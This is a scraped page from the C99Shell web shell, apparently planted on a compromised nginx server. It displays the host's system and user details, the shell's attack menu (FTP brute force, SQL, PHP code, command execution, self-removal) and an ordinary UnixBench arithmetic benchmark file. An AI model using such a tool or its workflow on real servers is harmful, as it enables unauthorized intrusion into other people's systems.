!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/sources/unixbench/UnixBench/src/   drwxrwxr-x
Free 83.34 GB of 96.73 GB (86.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     arith.c (2.75 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

/*******************************************************************************
 *  The BYTE UNIX Benchmarks - Release 3
 *          Module: arith.c   SID: 3.3 5/15/91 19:30:19
 *
 *******************************************************************************
 * Bug reports, patches, comments, suggestions should be sent to:
 *
 *    Ben Smith, Rick Grehan or Tom Yager
 *    [email protected]   [email protected]   [email protected]
 *
 *******************************************************************************
 *  Modification Log:
 *  May 12, 1989 - modified empty loops to avoid nullifying by optimizing
 *                 compilers
 *  August 28, 1990 - changed timing relationship--now returns total number
 *                      of iterations (ty)
 *  November 9, 1990 - made changes suggested by Keith Cantrell
 *                        (digi!kcantrel) to defeat optimization
 *                        to non-existence
 *  October 22, 1997 - code cleanup to remove ANSI C compiler warnings
 *                     Andy Kahn <[email protected]>
 *
 ******************************************************************************/

char SCCSid[] = "@(#) @(#)arith.c:3.3 -- 5/15/91 19:30:19";
/*
 *  arithmetic test
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include "timeit.c"

int dumb_stuff(int);

unsigned long iter;

/* this function is called when the alarm expires */
void report()
{
    fprintf(stderr,"COUNT|%ld|1|lps\n", iter);
    exit(0);
}

int main(argc, argv)
int    argc;
char    *argv[];
{
    int    duration;
    int result = 0;

    if (argc != 2) {
        printf("Usage: %s duration\n", argv[0]);
        exit(1);
    }

    duration = atoi(argv[1]);

    /* set up alarm call */
    iter = 0;    /* init iteration count */
    wake_me(duration, report);

    /* this loop will be interrupted by the alarm call */
    while (1)
    {
        /* in switching to time-based (instead of iteration-based),
           the following statement was added. It should not skew
           the timings too much--there was an increment and test
           in the "while" expression above. The only difference is
           that now we're incrementing a long instead of an int.  (ty) */
    ++iter;
    /* the loop calls a function to insure that something is done
       the results of the function are fed back in (just so they
       they won't be thrown away. A loop with
       unused assignments may get optimized out of existence */
    result = dumb_stuff(result);
    }
}


/************************** dumb_stuff *******************/
int dumb_stuff(i)
int i;
{
#ifndef arithoh
    datum    x, y, z;
        z = 0;
#endif
        /*
         *     101
         * sum       i*i/(i*i-1)
         *     i=2
         */
        /* notice that the i value is always reset by the loop */
        for (i=2; i<=101; i++)
            {
#ifndef arithoh
            x = i;
            y = x*x;
            z += y/(y-1);
            }
return(x+y+z);
#else
}
return(0);
#endif
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0048 ]--